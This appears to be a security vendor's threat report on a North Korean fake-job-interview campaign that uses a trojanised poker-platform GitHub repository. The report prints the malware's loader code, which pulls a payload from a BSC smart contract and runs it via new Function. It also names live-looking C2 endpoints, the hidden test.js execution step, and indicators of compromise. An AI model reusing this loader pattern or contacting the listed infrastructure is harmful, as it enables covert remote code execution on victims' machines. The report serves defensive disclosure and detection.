Contagious Interview Abuses Fireblocks Brand:

Technical Analysis of The ”Fireblocks Poker Platform” Scam

Executive Summary

Fireblocks Security Research identified a targeted malware campaign using as a lure a fictitious malicious project named "Fireblocks Poker Platform" GitHub repositories in order to compromise tech workers in the cryptocurrency and blockchain industry. The campaign is part of a broader social engineering operation in which North Korean operators impersonate tech recruiters on LinkedIn, luring victims into fake technical interviews that culminate in the delivery of malicious code.

The malware employs a multi-stage attack chain utilizing EtherHiding, a technique that abuses the Binance Smart Chain (BSC) as a command-and-control (C2) mechanism. Rather than relying on traditional server infrastructure that can be taken down, the malware retrieves its initial payload by querying a smart contract deployed on BSC. This approach provides significant operational advantages: blockchain data is immutable, connections to legitimate RPC endpoints blend with normal Web3 traffic, and traditional security products such as EDR and antivirus solutions are not designed to inspect blockchain-based payload retrieval.

Upon execution, the malware performs system reconnaissance—collecting hostname, operating system, and network interface information—before establishing a persistent beacon to an attacker-controlled server. Following victim profiling, the malware retrieves additional obfuscated code from the blockchain, which reveals a two-tier C2 architecture used to deliver the final payload: an unverified malware, possibly a Nukesped RAT that is executed as a hidden process to evade detection.

Analysis of the malicious code and on-chain infrastructure revealed connections to a previous campaign impersonating the Multibank Group, which was active in August 2025. Code artifacts, infrastructure patterns, and the social engineering methodology are consistent with tactics, techniques, and procedures (TTPs) attributed to DPRK threat actor “Contagious Interview” associated with the Lazarus Group (APT38), North Korea's state-sponsored threat actors known for targeting cryptocurrency organizations through fake interviews campaigns.

This document provides a detailed technical walkthrough of the malware's execution flow, the EtherHiding C2 mechanism, on-chain infrastructure analysis, and a comprehensive list of indicators of compromise (IOCs) to support detection and response efforts. Please note: Some infrastructure referenced in this report may be live and active.

2. Attack Vector: Malicious Repository Distribution

2.1 Initial Access

The attack begins when a victim receives a link to a GitHub repository purportedly containing a cryptocurrency poker platform project. This delivery occurs through a coordinated social engineering operation: threat actors create fraudulent LinkedIn profiles impersonating Fireblocks recruiters and engage targets, typically developers with blockchain or cryptocurrency experience, through fake recruitment processes. As part of a coding assessment, victims are instructed to clone and run the repository.

The malicious repository is designed to appear as a legitimate full-stack application, complete with frontend components, backend services, and blockchain integration code, which also resembles the Figma design that was sent as part of the fake recruiting process. In the variant of the malware Fireblocks Security Research has analyzed, the execution of the initial malicious payload is triggered when the victim runs NPM start; other reported variants initialized the malicious payload using NPM install.

2.2 Campaign Lineage

Code analysis revealed that the malicious Fireblocks Poker repository is a modified fork of earlier malicious projects that have gone through several enhancements to deliver more sophisticated malware. Several indicators link this campaign to a previous recruitment-related campaign impersonating Multibank Group by the same threat actor:

Vintage Poker Codebase - https://github.com/Pobermeier/vintage-poker
The Fireblocks Poker repositories contain visual assets and code symbols referencing "Vintage Poker," suggesting the attackers repurposed an existing poker platform codebase. However, the significant addition of blockchain-related functionality indicates substantial modification rather than a direct fork.

Multibank Crypto Poker Campaign

Embedded URLs within the Fireblocks Poker repository code reference multibank-poker.netlify[.]app, a domain associated with a campaign the same threat actor operated in August 2025. While both campaigns use the same social engineering lure, a fake cryptocurrency poker platform. The technical attack flow differs between them, indicating ongoing development and iteration of the malware.

```
<loc>https://www.multibank-poker.netlify.app/</loc>
```

3. Stage 1: Malicious Code Execution

3.1 Entry Point

When the victim runs the application, the server loads socket/index.js as part of its normal initialization process. This file contains the malicious code path, cleverly disguised within what appears to be legitimate WebSocket and NFT-related functionality.

The malware authors chose function and variable names that blend with the application's purported purpose, a blockchain-based poker platform. References to "NFT," "avatar," and "contract" would not appear suspicious in this context, allowing the malicious code to evade casual inspection.

3.2 Initial Access

The attack begins when a victim receives a link to a GitHub repository purportedly containing a cryptocurrency poker platform project. This delivery occurs through a coordinated social engineering operation: threat actors create fraudulent LinkedIn profiles impersonating Fireblocks recruiters and engage targets, typically developers with blockchain or cryptocurrency experience, through fake recruitment processes. As part of a coding assessment, victims are instructed to clone and run the repository.

The malicious repository is designed to appear as a legitimate full-stack application, complete with frontend components, backend services, and blockchain integration code, which also resembles the Figma design that was sent as part of the fake recruiting process. In the variant of the malware Fireblocks Security has analyzed, the execution of the initial malicious payload is triggered when the victim runs NPM start; other reported variants initialized the malicious payload using NPM install.

3.2 Payload Execution Mechanism

The core of the malware's execution capability is the appendNFTAvatar() function. Despite its innocuous name suggesting NFT avatar processing, this function serves as the final stage of payload execution.

```
function appendNFTAvatar(payload) {
  if (!payload) {
    console.warn('payload missing, skipping...');
    return;
  }
  try {
    const createNFTAvatar = new Function('require', payload);
    createNFTAvatar(require);
  } catch (err) {
    console.error('ensureWeb error', err.message);
```

The function operates as follows:

1. **Dynamic function creation:** Uses JavaScript's Function constructor to create a new function from the received code string
2. **Execution:** Immediately invokes the newly created function, passing require as an argument to enable Node.js module loading within the payload

This technique, creating and executing functions from string, is a well-known method for running dynamically retrieved code. By passing require to the payload, the attackers ensure their remotely-fetched code has full access to Node.js capabilities, including filesystem access, network operations, and child process spawning.

3.3 Blockchain-Based Payload Retrieval

The payload executed by appendNFTAvatar() is not stored locally within the repository. Instead, the malware retrieves it at runtime by querying a smart contract deployed on the Binance Smart Chain (BSC).

Configuration

The connection parameters for the blockchain-based C2 are defined in the repository's configuration file (config/config.js). This file reveals the infrastructure used for payload retrieval, along with additional artifacts of interest. “nftContractAdress” defines the smart contract and the “bscRpcUrl” defines the blockchain provider, both will be used by the attacker during the first stage of the attack..

```
module.exports = {
  NODE_ENV: process.env.NODE_ENV || 'development',
  PORT: process.env.PORT || 7777,
  mysqlHost: "0.0.0.0",
  user: "esp",
  password: 'Espsoft123#',
  database: "quant_fund",
  mysqlPort: 3306,
  JWT_SECRET_KEY: 'ly27lg35kci85tvgvl0zgbod4',
  SESSION_EXPIRES_IN: '24h',
  imageUrl: '',
  contractAddress: '0x98Ff86eD5B0dDd3C85115845A90A6066C25bedf9',
  nftContractAddress: '0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF',
  clientDepositAddress: '0xEfcd2e9ca6483147A25a106C654a6E557eb8f916',
  bscRpcUrl: 'https://bsc-dataseed.bnbchain.org',
  INITIAL_CHIPS_AMOUNT: process.env.INITIAL_CHIPS_AMOUNT || 10000,
};
```

Retrival Mechanism

Using the configuration values above, the malware initializes a connection to BSC and queries the smart contract for stored payloads. The code defines which storage slots to retrieve using the NFT_TX_IDS array:

```
const CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS || config.nftContractAddress;
const BSC_RPC_URL = process.env.BSC_RPC_URL || config.bscRpcUrl;
const NFT_TX_IDS = [2, 3];

const CONTRACT_ABI = [
  "function getMemo(uint256 transactionId) external view returns (string memory)"
];


let provider, contract, NFT = '';

try {
  provider = new JsonRpcProvider(BSC_RPC_URL);
  contract = new Contract(CONTRACT_ADDRESS, CONTRACT_ABI, provider);
```

The retrieval mechanism works as follows:

1. **Provider initialization:** The malware creates a JSON-RPC provider connected to BSC via https://bsc-dataseed.bnbchain.org
2. **Contract instantiation:** Using the ethers.js library, it instantiates a contract object pointing to the attacker-controlled smart contract "nftContractAddress" - 0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF
3. **Data retrieval:** The code calls the getMemo() function with transaction IDs [2, 3], retrieving stored data from specific slots in the contract
4. **Payload assembly:** Results from multiple getMemo() calls are concatenated to form the complete payload
5. **Execution:** The assembled payload is passed to appendNFTAvatar() for execution

This approach splits the malicious payload into two transactions of the smart contracts, requiring the malware to query multiple IDs and reassemble the code. This fragmentation may serve as a basic obfuscation technique.

The threat actors split their payload across multiple storage slots (IDs 2 and 3). The malware retrieves each slot via Promise.all() for parallel execution, then joins the results into a single string.

By the end of this stage, the malware has retrieved arbitrary code from the blockchain and executed it on the victim's machine—all without connecting to any overtly malicious infrastructure.

4. EtherHiding: On-Chain C2 Infrastructure

EtherHiding is a technique in which threat actors leverage blockchain infrastructure for command-and-control operations. Rather than hosting malicious payloads on traditional servers, which can be taken down or blocked, attackers store their code within smart contracts on public blockchains and retrieve it at runtime.

In this campaign, the threat actor deployed smart contracts on the Binance Smart Chain (BSC) functioning as simple key-value storage. This technique is employed in Stages 1 and 3 of the attack.

This approach provides significant operational advantages to the attacker:

1. Blockchain data is immutable and cannot be taken down since there is no hosting provider to which removal requests can be issued.
2. Connections to legitimate RPC endpoints like bsc-dataseed.bnbchain.org blend seamlessly with normal Web3 application traffic.
3. Traditional security products such as EDR, antivirus, and network monitoring solutions are not designed to inspect blockchain RPC responses for malicious payloads.

5. Stage 2: System Reconnaissance and C2 Beacon

The payload retrieved from the blockchain in Stage 1 serves as a loader for subsequent operations. Upon execution, it performs system reconnaissance and establishes communication with attacker-controlled infrastructure.

By examining the transactions sent to the smart contract's storage function, we recovered the complete Stage 2 payload. The code is split across two storage slots (TX 2 and TX 3), which are retrieved and concatenated at runtime.

5.1 System Information Collection

The Stage 2 payload collects detailed information about the victim's machine using Node.js built-in modules. The getSystemInfo() function gathers:

Data Collected	Method	Purpose
Hostname	os.hostname()	Victim identification
Operating System	os.type(), os.release()	Environment profiling
Operating System	os.platform()	Target categorization
Network Interfaces	os.networkInterfaces()	MAC address collection

The payload specifically filters network interface data to extract MAC addresses, excluding localhost (filtering out 00:00:00:00:00:00).

5.2 C2 Communication

After collecting system information, the payload establishes communication with an attacker-controlled server:

C2 Endpoint:

None

```
http://87[.]236[.]177[.]9:3000/api/errorMessage
```

Data Collected	Method	Purpose
sysInfo	Output of getSystemInfo()	Victim profiling
exceptionId	env19475	Campaign/ environment identifier
instanceId	Randomising nonce	Execution tracking

The function implements persistence via setInterval(checkServer, 5e3), polling the C2 server every 5 seconds.

When the server responds with status: "error", the payload executes errorFunction() with the response message. This function uses the same new Function() technique seen in Stage 1 to dynamically execute received code - enabling the C2 to deliver additional payloads.

The error-themed naming convention (errorMessage, errorFunction, exceptionId) is a deliberate obfuscation technique, designed to make malicious traffic appear as application error logging during casual inspection.

The response from this C2 server contains obfuscated data. Full analysis of this stage remains ongoing; however, on-chain analysis of related smart contracts revealed details of what we assess to be Stage 3 of the attack chain, leading to the final malware delivery, detailed in the following section.

6. Stage 3: Malware Delivery

Following victim profiling in Stage 2, the malware retrieves additional code from the blockchain to initiate the final stage of the attack. Consistent with the EtherHiding technique employed in Stage 1, the Stage 3 loader is stored in smart contract transactions associated with the threat actor's deployer wallets.

6.1 Onchain Discovery

Examination of transactions associated with the threat actor's wallet infrastructure identified additional contract transactions containing obfuscated JavaScript code; those contract addresses are located in the IOC Blockchain Indicators section. Unlike the Stage 1 payload, which was stored in relatively readable form, the Stage 3 payload employed multiple layers of obfuscation to hinder analysis.

Deobfuscation revealed a two-tier C2 architecture designed to retrieve and deploy the final payload.

6.2 Two-Tier C2 Architecture

The deobfuscated code implements a layered retrieval mechanism using two separate C2 servers:

Tier 1:C2 Address Resolution

The first server acts as an address resolver. When contacted with the correct port (1244) and password parameters, it responds with the obfuscated IP address of the second-tier server. This indirection provides operational flexibility, the threat actors can rotate the payload delivery server without modifying the on-chain code. This step of the attack is currently disabled, blocking Fireblocks Security Research from acquiring the final malicious payload.

Component	Value
Server	31[.]210[.]170[.]139:1244
Purpose	Returns obfuscated IP address of Tier 2 server
Authentication	Requires correct port and password

Tier 2: Final Malware Delivery

The second server delivers the final payload, which is written to the victim's filesystem as test.js within a .vscode folder located at C:\Users\<username>\.

Afterwards, the malware executes the payload as a subprocess while the windowsHide flag is set to true, preventing a visible command window from appearing during execution. This keeps the malicious process hidden from the user, reducing the likelihood of detection.

Component	Description
Server	IP address received from Tier 1 (obfuscated)
Purpose	Delivers final malware payload
Authentication	C:\Users\<username>\.vscode\test.js
Execution	childprocess.exec("node test.js", { windowsHide: true })

6.4 Victim Report Correlation

Evidence obtained from victims corroborates this attack flow. Affected systems showed:

- Creation of a .vscode directory in the user's folder (C:\Users\<username>\)
- Presence of a file named test.js within this directory
- Hidden Node.js process execution (no visible command window)
- The test.js file contained a **Nukesped RAT variant (Based on security products detection)**

NukeSped is a **remote access trojan (RAT)** attributed to the North Korea-linked Lazarus Group. It has been observed delivering backdoor functionality such as remote command execution, file and process management, data collection, keylogging/screen capture, and the ability to download and run additional payloads

The final stage malware identification is based on victims' security products detection (e.g. antivirus). Fireblocks Security Research does not have the malware itself therefore cannot verify this attribution at this time.

The use of the .vscode directory as a drop location is a deliberate choice, as this folder is commonly present on developer machines running Visual Studio Code and its contents are unlikely to draw suspicion during casual inspection. The targeting of Windows systems aligns with the campaign's focus on developers, who commonly use Windows as their primary development environment.

6.5 Attack Chain Summary

The complete attack flow from initial access to RAT deployment:

Stage	Mechanism	Purpose
Initial	Social engineering via fake recruiter	Deliver malicious GitHub repository
Stage 1	EtherHiding (BSC smart contract)	Retrieve and execute initial payload
Stage 2	C2 beacon (87[.]236[.]177[.]9)	System reconnaissance, victim profiling
Stage 3	Two-tier C2 (31[.]210[.]170[.]139:1244 → Tier 2)	Deliver and execute final malware (hidden)

This multi-stage architecture demonstrates operational sophistication:each layer adds indirection, complicates analysis, and provides opportunities for the threat actors to selectively target high-value victims before deploying their final payload.

7. Technical Indicators of Compromise

7.1 Network Infrastructure

Indicator	Type	Context
87[.]236[.]177[.]9	IPv4	Stage 2 C2 server
87[.]236[.]177[.]9:3000/api/errorMessage	URL	Stage 2 beacon endpoint
31[.]210[.]170[.]139:1244	IPv4	Stage 3 Tier 1 C2 and port (address resolver)
bsc-dataseed.bnbchain.org	Domain	BSC RPC endpoint (legitimate, abused for payload retrieval)
multibank-poker.netlify[.]app	Domain	Related campaign infrastructure (August 2025)

7.2 Blockchain Indicators (Binance Smart Chain)

Smart Contracts - Stage 1

Address	Role
0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF	Stage 1 EtherHiding Contract
0x2cc496e4228a158630091fbb095950c1dfb28d76	Stage 1 Deployer

Smart Contracts — Stage 3 EtherHiding (Obfuscated Payloads)

Address	Role
0xD2F5Caa9c677d5BE6d7d9a6F90617dA6ad8b9448	Stage 3 EtherHiding contracts
0xf956Bf2C17E4382A4f25C67190D94046C288AA79	
0x1B24549c3C970F9f39183419166Dbd81FcEfDf0f	
0xD898ABEcEa7240B4D1aE4462E9035Ca7C30b7e99	
0x2e1aa1dA046c6008A2edc748b2995714Da39f009	
0xa4eAA10333f463578E380f7b2dF6Dfaf435454BA	
0x928874BE177c37a7bFE82F6e8e2cE1d0c752279f	
0x808B765288f56B2defb1bB18e929bF9B2558C368	Stage 3 EtherHiding Contract Deployer

7.3 Host-Based Indicators

File System

Indicator	Type	Context	Hash
C:\Users\<username>\.vscode\test.js	File Path	Final Malware drop location	
socket/index.js	File	Malware entry point in repository	041e27663ffd68e048a40eaeea29ed2b2897d9d838fea13a2f688d3e8d548f43
config/config.js	File	C2 configuration file	4fc3ce47b67e6806bdc3df397c5252adcf7d8775e9462da7d1ee1564a3b5ea9b

Code Artifacts

Indicator	Type	Context
appendNFTAvatar	Function	Payload execution function
contract.getMemo	Smart contract method	Smart contract data retrieval
NFT_TX_IDS = [2, 3]	Array	Storage slot IDs for payload retrieval

Process Indicators

Indicator	Context
HTTP GET to port 3000 with sysInfo parameter	Stage 2 beacon activity

7.4 Repository Indicators

Indicator	Context
GitHub Organizations	FireblocksC, FireblocksIO, Fireblocksgroup
Repository names	Fireblocks-pokerplatform, fireblocks-pokergame
Poker/casino themed Node.js repository	Social engineering lure
References to "Vintage Poker" in assets	Code lineage indicator
References to "Multibank Poker" in URLs	Related campaign
Sitemap with invalid date 2020-09-31	Anomalous timestamp

Our companion blog post provides a broader, non-technical overview of this activity.